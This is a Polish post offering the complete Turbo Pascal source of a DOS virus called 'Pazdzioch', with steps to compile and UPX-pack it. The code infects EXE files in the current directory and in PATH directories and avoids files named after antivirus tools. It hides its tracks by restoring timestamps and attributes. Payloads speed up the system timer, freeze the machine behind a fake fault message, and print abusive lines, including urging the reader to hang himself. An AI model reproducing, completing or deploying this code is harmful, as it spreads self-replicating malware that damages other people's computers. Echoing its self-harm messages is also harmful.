Naskrobałem to dośc dawno, nie wiem, czy działa. Może się przyda? 
Jak już mówiłem nie wiem, czy działa. Aby skompilować zarazek należy najpierw zrobić plik EXE z kodu jaki jest, po czym jego rozmiar podstawić do stałej virSize (teraz jest tam losowa liczba) i skompilowac finalny plik. Można spakowac sobie UPXem, to za virSize podstawiamy rozmiar spakowanego exeka.
{$A+,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-}
{$M 2048,0,0}
{Pazdzioch Virus (2005) by MCbx}
{Serdecznie dziekuje Pani od Informatyki, ktora mnie}
{tak dobrze nauczyla Pascala!!! :) }
uses DOS;
const
     VirSize=11632;
var
   VirData,ExeData   : Array[1..VirSize] of Byte;
   Sciezka           : String[66];      {Sciezka do plikow EXE}
   Sciezka2          : String;          {Sciezka systemowa}
   Katalog           : String[66];
   ToExe             : String[5];
   Plik              : File;
   P                 : File;
   Licznik,Attr      : Word;
   Liczba            : Byte;
   Parametry,Sx      : String;
   Exe,Sr            : SearchRec;
   KoniecSesji       : boolean;
   Y,M,D,c,G,N,X,f   : Word;            {Mechanizm destrukcyjny}
   s,o,sn,on,ic,ig   : Word;
   godz,min,sek,
   rok,mie,dzien     : Word;            {Data i czas orginalu}
   ft                : longint;
   dc                : DateTime;
   i                 : Integer;
   b                 : Pointer;
   r                 : Registers;
const
nazwa_wirusa : string = 'Pazdzioch - 2005';
function InfekcjaP(nazwa:string):boolean;
label dalej;
var Zarazony : boolean;
    Attr     : word;
begin
  Assign(Plik,nazwa);
  GetFAttr(Plik,Attr);
  SetFAttr(Plik,0);
  Reset(Plik,1);
  If ((nazwa[1]='M') and (nazwa[2]='K') and (nazwa[3]='S')) then goto dalej; {Kopnelismy policjanta, to w ryj go! :P}
  If (FileSize(Plik)<=VirSize) or
     (FileSize(Plik)>=524000) or       {Sprawdzamy wielkosc pliku, czego nie robimy dla emkaesa}
     ((nazwa[1]='F') and (nazwa[2]='-') and (nazwa[3]='P')) or
     ((nazwa[1]='N') and (nazwa[2]='C')) or
     ((nazwa[1]='E') and (nazwa[2]='M') and (nazwa[3]='M')) or
     ((nazwa[1]='S') and (nazwa[2]='E') and (nazwa[3]='T')) then
  begin
    InfekcjaP:=false;
    Close(Plik);                       
    SetFAttr(Plik,Attr);               {tuszujemy dowody....}
  end
  else
    dalej:
    begin
      GetfTime(Plik,ft);
      UnpackTime(ft,dc);
      with dc do
      begin
        godz:=hour; min:=min; sek:=sec; rok:=year; mie:=month; dzien:=day;
        PackTime(dc,ft);
        GetfTime(Plik,ft);
      end;
      BlockRead(Plik,ExeData,VirSize);
      Licznik:=1;
      Zarazony:=true;                  {zakladamy ze zarazony i probujemy to obalic}
      repeat
        if VirData[Licznik]<>ExeData[Licznik] then Zarazony:=false;
        inc(Licznik);
      until (Licznik=VirSize) or not Zarazony;
      if not Zarazony then                  {Jesli plik jeszcze nie zarazony}
      begin
        Seek(Plik,0);                       {1 Skaczemy na poczatek pliku}
        BlockWrite(Plik,VirData,VirSize);   {2 Zapisujemy wirusa}
        Seek(Plik,FileSize(Plik));          {3 Skaczemy na koniec pliku}
        BlockWrite(Plik,ExeData,VirSize);   {4 Zapisujemy orginalne bajty EXE}
        InfekcjaP:=true;
      end
      else InfekcjaP:=false;
      with dc do
      begin
        hour:=godz; min:=min; sec:=sek; year:=rok; month:=mie; day:=dzien;
        PackTime(dc,ft);
        Reset(Plik); SetfTime(Plik,ft);
      end;
      Close(Plik);                          {Zamykamy plik, wychodzimy po angielsku}
      SetFAttr(Plik,Attr);
   end;
end;
{Procedura uruchamia orginalny plik EXE}
procedure NicNieWidzee;
begin
  Assign(Plik,ParamStr(0));
  GetFAttr(Plik,Attr);
  SetFAttr(Plik,0);
  Reset(Plik,1);
  GetfTime(Plik,ft);
  UnpackTime(ft,dc);
  with dc do
  begin
    godz:=hour; min:=min; sek:=sec; rok:=year; mie:=month; dzien:=day;
    PackTime(dc,ft);
    GetfTime(Plik,ft);
  end;
  Seek(Plik,FileSize(Plik)-VirSize);
  BlockRead(Plik,ExeData,VirSize);
  Seek(Plik,0);
  BlockWrite(Plik,ExeData,VirSize);
  Close(Plik);                          {Przywrocilismy exeka}
  SwapVectors;
  Exec(ParamStr(0),Parametry);          {Uruchamiamy exeka}
  SwapVectors;
  Assign(Plik,ParamStr(0));
  Reset(Plik,1);
  BlockWrite(Plik,VirData,VirSize);
  with dc do
  begin
    hour:=godz; min:=min; sec:=sek; year:=rok; month:=mie; day:=dzien;
    PackTime(dc,ft);
    Reset(Plik); SetfTime(Plik,ft);
  end;
  Close(Plik);
  SetFAttr(Plik,Attr);
end;
{Podkrenc zegara!!!}
procedure SetFreq(freq:word);
begin
  port[$43]:=$36;
  port[$40]:=lo(1193180 div freq);
  port[$40]:=hi(1193180 div freq);
 end;
procedure PrzyspieszCzas;
begin
  Setfreq(1092);
end;
procedure Ujawnij;
begin
  Writeln;
  Writeln(nazwa_wirusa);
  Writeln;
  Writeln('PAZDZIOCH-VIRUS 2005. Dzieki dla pani M. od');
  Writeln('Informatyki, ktora mnie tak Pascala nauczyla!!!');
  Writeln(' ');
  Writeln('And Huge drops of lead/Poured upon her head/Until she was dead...');
  Writeln('D. Berkowitz');
  Writeln (' ');
  Writeln ('HybridG jest swinia! Jak pisalimy konwencje to wporzo, a teraz wspiera monopol!');
end;
Procedure bluzg;
var k : integer;
begin
k:=random(10);
if k=1 then writeln('Osama Bin Laden. Mulla Omar. Ali Baba. Mosiul Anec.!');
if k=2 then writeln('Ty śmierdzący siarką uryną i fekaliami  bydlaku! Ty rydzoholiku, NIE INSTALUJ CENZURY!');
if k=3 then writeln('Pazdzioch RZONDZI');
if k=4 then writeln('Powieś się!!! Oddaj cześć Panu i władcy piekiel :)');
if k=5 then writeln('UWAGA! Po wykonaniu tego programu przestaniesz szanować nie tylko cudze, ale i własne życie');
if k=6 then writeln('z każdym uruchomieniem poddajesz się woli Szatana, wreszcie poddasz mu się całkowicie...');
if k=7 then writeln('To ja. Wirus. by MCbx!');
if k=8 then writeln('Zerżnę twoje ciało na cmentarzu, mając na sobie kolce, krew i gwoździe');
if k=9 then writeln('Ten wirus to nasz kolejny cios w Piratow z SONY BMG i RIAA');
if k=10 then writeln('Światło Lucyfera jest z nami!');
end;
procedure SzukajExe;
begin
  FindFirst(ToExe,AnyFile,Exe);
  KoniecSesji:=false;
  repeat
   if DosError=0 then
    begin
     if InfekcjaP(Exe.Name) then KoniecSesji:=true
     else FindNext(Exe);
    end
      else
   begin
     KoniecSesji:=true;
  end;
  until KoniecSesji;
end;
begin   {PROG WLASCIWY}
 Randomize;
 GetTime(G,N,X,f);
 GetDate(Y,M,D,c);
if (N>=55)and(M=10) and (D=7) then
 begin
   PrzyspieszCzas;
   KoniecSesji:=true;
 end;
 if (M=11) and (D=2) and (G=22) then
 begin
  Ujawnij;
  KoniecSesji:=true;
 end;
 i:=0;
 i:=Random(500);
 if i=100 then
 begin
   writeln('General Protection fault in DOS mode!');
   repeat until 1=2;
   KoniecSesji:=true;
 end;
 if (D=5) OR (D=10) OR (D=15) THEN bluzg;
 Assign(Plik,ParamStr(0)); {koniec ujawnianki, zaczynamy kod}
 GetFAttr(Plik,Attr);
 SetFAttr(Plik,0);
 Reset(Plik,1);
 BlockRead(Plik,VirData,VirSize);
 Close(Plik);
 Parametry:='';
 for Licznik:=1 to ParamCount do
 Parametry:=Parametry+ParamStr(Licznik);
 NicNieWidzee;
 ToExe:='*.exe';
 GetDir(0, Sciezka);
 Katalog:=Sciezka;
 SzukajExe;
 Sx[1]:='\';
 Sx:=GetEnv('PATH');
 Liczba:=0;
 for i:=1 to 6 do
 begin
   if Pos(';',Sx)<>0 then Liczba:=Pos(';',Sx)-1 else Liczba:=255;
   Sciezka2:=Copy(Sx,1,Liczba);
   ChDir(Sciezka2);
   SzukajExe;
   if Pos(';',Sx)<>0 then Sx:=Copy(Sx,Pos(';',Sx)+1,255);
 end;
 Assign(Plik,ParamStr(0));
 SetFAttr(Plik,Attr);
 Chdir(Katalog);
end.